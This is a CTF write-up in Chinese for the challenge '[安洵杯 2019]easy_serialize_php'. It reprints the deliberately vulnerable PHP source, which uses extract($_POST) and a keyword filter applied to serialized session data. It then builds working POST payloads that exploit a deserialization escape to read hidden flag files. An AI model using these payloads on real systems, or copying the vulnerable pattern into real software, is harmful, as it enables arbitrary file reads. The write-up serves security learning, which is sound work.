[安洵杯 2019]easy_serialize_php

进入之后得到源代码进行简单的分析

<?php

// 获取 GET 请求中的 'f' 参数
$function = @$_GET['f'];

// 定义过滤函数
function filter($img){
    // 定义需要过滤的字符串数组
    $filter_arr = array('php','flag','php5','php4','fl1g');
    // 将数组元素拼接成正则表达式模式
    $filter = '/'.implode('|',$filter_arr).'/i';
    // 使用正则表达式替换掉这些字符串
    return preg_replace($filter,'',$img);
}

// 如果$_SESSION已存在,则销毁$_SESSION
if($_SESSION){
    unset($_SESSION);
}

// 初始化$_SESSION变量
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

// 从 POST 请求中提取所有变量,进行变量覆盖
extract($_POST);

// 如果 'f' 参数不存在,则显示一个链接,即为初始的帮助页面
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

// 如果 GET 请求中没有 'img_path' 参数
if(!$_GET['img_path']){
    // 设置默认的会话图片路径
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    // 将传入的图片路径进行 base64 编码后再进行 sha1 哈希
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

// 对会话数据进行序列化,并使用过滤函数进行过滤
$serialize_info = filter(serialize($_SESSION));

// 执行不同功能
if($function == 'highlight_file'){
    // 高亮显示当前文件的源代码
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    // 输出 PHP 配置信息
    eval('phpinfo();'); // 可能在这里可以找到一些信息!
}else if($function == 'show_image'){
    // 反序列化过滤后的会话数据
    $userinfo = unserialize($serialize_info);
    // 输出 base64 解码后的图片内容
    echo file_get_contents(base64_decode($userinfo['img']));
}

?>

if($function == 'highlight_file'){
    // 高亮显示当前文件的源代码
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    // 输出 PHP 配置信息
    eval('phpinfo();'); // 可能在这里可以找到一些信息!
}else if($function == 'show_image'){
    // 反序列化过滤后的会话数据
    $userinfo = unserialize($serialize_info);
    // 输出 base64 解码后的图片内容
    echo file_get_contents(base64_decode($userinfo['img']));
}

我们先按照提示?f=phpinfo

找到了

d0g3_f1ag.php

先想办法查看一下这个文件

很明显我们要利用

echo file_get_contents(base64_decode($userinfo['img']));

我们可以进行变量覆盖

$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php的base64编码
把这些用post传入即可进行覆盖,但是
之后又进行了
if(!$_GET['img_path']){
    // 设置默认的会话图片路径
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    // 将传入的图片路径进行 base64 编码后再进行 sha1 哈希
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
我们的img就不再是我们构造的结果

经过思考找到了突破点

// 对会话数据进行序列化,并使用过滤函数进行过滤
$serialize_info = filter(serialize($_SESSION));
我们可以利用这个来进行反序列化的逃逸

我们要想成功的访问d0g3_f1ag.php

 $userinfo = unserialize($serialize_info);
//就要让其反序列化出来的有$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
    echo file_get_contents(base64_decode($userinfo['img']));

开始尝试

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php的base64编码
echo serialize($_SESSION);
输出://a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
可以拿到$_SESSION['img']='ZDBnM19mMWFnLnBocA==';的部分为s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我们覆盖的$_SESSION['img']会被再次覆盖
所以我们要把其放到我们可控的$_SESSION['function']中
但是$_SESSION['function']本身序列化出的s:8:"function";s:1:"a";会和我们的放入冲突
我们可以利用他的替换即
function filter($img){
    // 定义需要过滤的字符串数组
    $filter_arr = array('php','flag','php5','php4','fl1g');
    // 将数组元素拼接成正则表达式模式
    $filter = '/'.implode('|',$filter_arr).'/i';
    // 使用正则表达式替换掉这些字符串
    return preg_replace($filter,'',$img);
}
来用前面的$_SESSION["user"]吃掉$_SESSION['function']本身序列化出的s:8:"function";s:1:"a";

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php的base64编码
echo serialize($_SESSION);
输出: a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我们给user赋值为flag,flag又会被替换为空这样我们的属性数即s后面的数字就会比原本多出4而我们需要吃掉24(";s:8:"function";s:42:"a)个字符即需要6个flag:
<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';//d0g3_f1ag.php的base64编码
echo serialize($_SESSION);
输出 a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:41:"a"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
替换flag
{s:4:"user";s:24:"";s:8:"function";s:41:"a"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这样s:24就代表着"";s:8:"function";s:41:"a"也就是说";s:8:"function";s:41:"a
是user的值,但是这样我们就只剩了两个变量user和img(后面的;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}因为前面闭合了所以被丢弃)和前面的a:3不匹配导致出错所以还要再编造一个变量s:2:"aa";s:1:"a";即可

最终我们传入

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}

再去查看/d0g3_fllllllag的内容

把/d0g3_fllllllag base64之后正好还是二十个字符直接改上面的即可

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}